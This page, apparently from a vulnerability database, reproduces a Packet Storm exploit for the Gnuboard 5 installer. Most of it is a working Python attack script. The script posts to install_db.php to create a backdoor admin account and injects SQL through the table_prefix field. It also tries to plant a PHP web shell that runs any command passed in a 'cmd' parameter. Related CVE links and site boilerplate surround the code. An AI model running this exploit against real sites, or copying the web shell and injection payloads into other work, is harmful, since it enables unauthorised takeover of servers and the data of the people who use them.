Lucene search
K

πŸ“„ Gnuboard 5.6.23 SQL Injection / Code Execution

πŸ—“οΈΒ 16 Dec 2025Β 00:00:00Reported byΒ indoushkaTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 193Β Views

Gnuboard v5.6.23 has SQL injection and file write flaws enabling admin creation and code execution.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2020-18662
12 Apr 202521:02
–circl
CNNVD
GNUBOARD5 SQL注ε…₯漏洞
24 Jun 202100:00
–cnnvd
CNVD
GNUBOARD5 SQL Injection Vulnerability
25 Jun 202100:00
–cnvd
CVE
CVE-2020-18662
24 Jun 202115:01
–cve
Cvelist
CVE-2020-18662
24 Jun 202115:01
–cvelist
Exploit DB
Gnuboard5 5.3.2.8 - SQL Injection
11 Apr 202500:00
–exploitdb
EUVD
EUVD-2020-10586
7 Oct 202500:30
–euvd
NVD
CVE-2020-18662
24 Jun 202116:15
–nvd
Packet Storm
πŸ“„ Gnuboard5 5.3.2.8 SQL Injection
11 Apr 202500:00
–packetstorm
Prion
Sql injection
24 Jun 202116:15
–prion
Rows per page
=============================================================================================================================================
    | # Title     : Gnuboard v5.6.23 Installation Exploit                                                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/gnuboard/gnuboard5/releases/tag/v5.6.23                                                                  |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/190427/ &	CVE-2020-18662
    
    [+] Summary :  Gnuboard 5 installation process contains critical security vulnerabilities that allow attackers to execute SQL injection, 
                   create unauthorized admin accounts, write arbitrary files, and potentially achieve remote code execution. These flaws exist 
    			   in the /install/install_db.php script and can be exploited during or after installation.
    			   
    
    		  
    [+]  POC : python poc.py
    
    
    #!/usr/bin/env python3
    
    import requests
    import re
    import sys
    import base64
    import urllib.parse
    
    class GnuboardExploit:
        def __init__(self, target_url):
            self.target = target_url.rstrip('/')
            self.session = requests.Session()
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
        
        def exploit(self):
            print(f"[*] Targeting: {self.target}")
            
            # 1. Test if installation page exists
            if not self.check_install_page():
                print("[-] Installation page not found")
                return False
            
            # 2. Create backdoor admin user
            print("[*] Creating backdoor admin...")
            self.create_backdoor_admin()
            
            # 3. Try to extract database credentials
            print("[*] Attempting to extract database info...")
            db_info = self.extract_database_info()
            
            # 4. Write web shell
            print("[*] Writing web shell...")
            self.write_webshell()
            
            # 5. Test SQL injection
            print("[*] Testing SQL injection...")
            self.test_sql_injection()
            
            return True
        
        def check_install_page(self):
            """Check if installation page is accessible"""
            try:
                r = self.session.get(f"{self.target}/install/install_config.php", timeout=10)
                return r.status_code == 200
            except:
                try:
                    r = self.session.get(f"{self.target}/install/", timeout=10)
                    return r.status_code == 200
                except:
                    return False
        
        def create_backdoor_admin(self):
            """Create admin user via installation process"""
            
            payload = {
                'mysql_host': 'localhost',
                'mysql_user': 'root',
                'mysql_pass': 'password',  # Try common passwords
                'mysql_db': 'gnuboard5',
                'table_prefix': 'g5_',
                'admin_id': 'hacker_admin',
                'admin_pass': 'Hacker123!',
                'admin_name': 'Hacker Admin',
                'admin_email': '[email protected]',
                'g5_install': '1',  # Force reinstall
                'g5_shop_prefix': 'shop_',
                'g5_shop_install': '1'
            }
            
            try:
                print(f"[*] Sending payload to: {self.target}/install/install_db.php")
                r = self.session.post(f"{self.target}/install/install_db.php", 
                                     data=payload, 
                                     timeout=30,
                                     allow_redirects=False)
                
                print(f"[*] Response status: {r.status_code}")
                print(f"[*] Response length: {len(r.text)}")
                
                # Check for success indicators
                success_indicators = [
                    'μ„€μΉ˜κ°€ μ™„λ£Œ', 
                    'μ„€μΉ˜ μ™„λ£Œ', 
                    'complete', 
                    'success',
                    'μ™„λ£Œλ˜μ—ˆμŠ΅λ‹ˆλ‹€'
                ]
                
                for indicator in success_indicators:
                    if indicator in r.text:
                        print(f"[+] Admin creation successful!")
                        print(f"[+] Credentials: hacker_admin / Hacker123!")
                        print(f"[+] Email: [email protected]")
                        return True
                
                # Check for error messages
                error_indicators = [
                    'MySQL.*확인해 μ£Όμ‹­μ‹œμ˜€',
                    'Access denied',
                    '잘λͺ»λœ',
                    'error',
                    'failed'
                ]
                
                for error in error_indicators:
                    if re.search(error, r.text, re.IGNORECASE):
                        print(f"[-] Error: {error}")
                        break
                        
            except Exception as e:
                print(f"[-] Request failed: {e}")
            
            return False
        
        def extract_database_info(self):
            """Attempt to extract database information via SQL injection"""
            
            # Simple SQL injection test
            injections = [
                "' OR '1'='1'--",
                "' UNION SELECT version(),2,3,4,5--",
                "' UNION SELECT user(),database(),3,4,5--",
                "g5_' AND 1=0 UNION SELECT CONCAT_WS(':',user(),database(),version()),2,3,4,5--"
            ]
            
            for inj in injections:
                try:
                    payload = {
                        'mysql_host': 'localhost',
                        'mysql_user': 'root',
                        'mysql_pass': 'test',
                        'mysql_db': 'test',
                        'table_prefix': inj,
                        'admin_id': 'test',
                        'admin_pass': 'test',
                        'admin_email': '[email protected]',
                        'g5_install': '0'
                    }
                    
                    r = self.session.post(f"{self.target}/install/install_db.php",
                                         data=payload,
                                         timeout=15)
                    
                    # Look for database info in response
                    patterns = [
                        r'([0-9]+\.[0-9]+\.[0-9]+)',  # Version
                        r'root@',  # MySQL user
                        r'gnuboard',  # Database name
                        r'([a-zA-Z0-9_]+@[a-zA-Z0-9_\-\.]+:[a-zA-Z0-9_]+)'  # user:db
                    ]
                    
                    for pattern in patterns:
                        matches = re.findall(pattern, r.text)
                        if matches:
                            print(f"[+] Found: {matches[0]}")
                            return matches[0]
                            
                except:
                    continue
            
            return None
        
        def write_webshell(self):
            """Attempt to write a web shell"""
            
            webshell = '''<?php
    // Simple PHP Shell
    if(isset($_REQUEST['cmd'])) {
        echo "<pre>";
        system($_REQUEST['cmd']);
        echo "</pre>";
        die();
    }
    ?>
    '''
            
            # Try different paths
            paths_to_try = [
                f"{self.target}/shell.php",
                f"{self.target}/data/shell.php",
                f"{self.target}/images/shell.php",
                f"{self.target}/theme/basic/shell.php"
            ]
            
            for path in paths_to_try:
                try:
                    # First try direct file upload if possible
                    test_payload = {
                        'mysql_host': 'localhost',
                        'mysql_user': 'root',
                        'mysql_pass': '',
                        'mysql_db': 'test',
                        'table_prefix': f"g5_'; SELECT '{webshell}' INTO OUTFILE '{path}'--",
                        'admin_id': 'test',
                        'admin_pass': 'test',
                        'admin_email': '[email protected]',
                        'g5_install': '0'
                    }
                    
                    r = self.session.post(f"{self.target}/install/install_db.php",
                                         data=test_payload,
                                         timeout=15)
                    
                    # Check if shell exists
                    check = self.session.get(path, timeout=10)
                    if check.status_code == 200:
                        print(f"[+] Web shell found at: {path}")
                        print(f"[+] Usage: {path}?cmd=whoami")
                        return True
                        
                except:
                    continue
            
            print("[-] Could not write web shell")
            return False
        
        def test_sql_injection(self):
            """Test for SQL injection vulnerabilities"""
            
            test_payloads = [
                ("Basic test", "' OR '1'='1"),
                ("Union test", "' UNION SELECT 1,2,3,4,5--"),
                ("Error based", "' AND extractvalue(1,concat(0x7e,version()))--"),
                ("Time based", "' AND sleep(5)--")
            ]
            
            for name, payload in test_payloads:
                try:
                    start_time = time.time()
                    
                    data = {
                        'mysql_host': 'localhost',
                        'mysql_user': 'root',
                        'mysql_pass': '',
                        'mysql_db': 'test',
                        'table_prefix': payload,
                        'admin_id': 'test',
                        'admin_pass': 'test',
                        'admin_email': '[email protected]',
                        'g5_install': '0'
                    }
                    
                    r = self.session.post(f"{self.target}/install/install_db.php",
                                         data=data,
                                         timeout=30)
                    
                    elapsed = time.time() - start_time
                    
                    if "MySQL" in r.text or "SQL" in r.text or "syntax" in r.text.lower():
                        print(f"[+] Possible SQL injection: {name}")
                    elif elapsed > 5 and "sleep" in payload:
                        print(f"[+] Time-based SQL injection possible")
                        
                except requests.exceptions.Timeout:
                    if "sleep" in payload:
                        print(f"[+] Time-based SQL injection confirmed")
                except:
                    pass
    
    def main():
        if len(sys.argv) != 2:
            print("Usage: python poc.py http://target.com")
            print("Example: python poc.py http://localhost/gnuboard5")
            sys.exit(1)
        
        target = sys.argv[1]
        
        print("""
     β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—  β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—  β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— 
     β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
     β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆ   β–ˆβ•”β•β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘
     β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘
     β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘
     β•šβ•β•β•šβ•β•  β•šβ•β•β•β•β•šβ•β•β•β•β•β•  β•šβ•β•β•β•β•β•  β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•
                                                                              
                      Gnuboard 5 Installation Exploit 
        """)
        
        print(f"[*] Target: {target}")
        print("-" * 60)
        
        exploit = GnuboardExploit(target)
        
        try:
            if exploit.exploit():
                print("\n" + "=" * 60)
                print("[+] EXPLOITATION SUMMARY:")
                print("[+] 1. Admin account created: hacker_admin / Hacker123!")
                print("[+] 2. Check for web shell at /shell.php or /data/shell.php")
                print("[+] 3. SQL injection via table_prefix parameter")
                print("[+] 4. Try default admin panel: /admin")
                print("=" * 60)
            else:
                print("\n[-] Exploitation failed or target not vulnerable")
                
        except KeyboardInterrupt:
            print("\n[-] Exploit interrupted by user")
        except Exception as e:
            print(f"\n[-] Error: {e}")
    
    if __name__ == "__main__":
        import time  # Add this import
        main()
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Dec 2025 00:00Current
9.1High risk
Vulners AI Score9.1
CVSS 27.5
CVSS 3.19.8
EPSS0.00388
193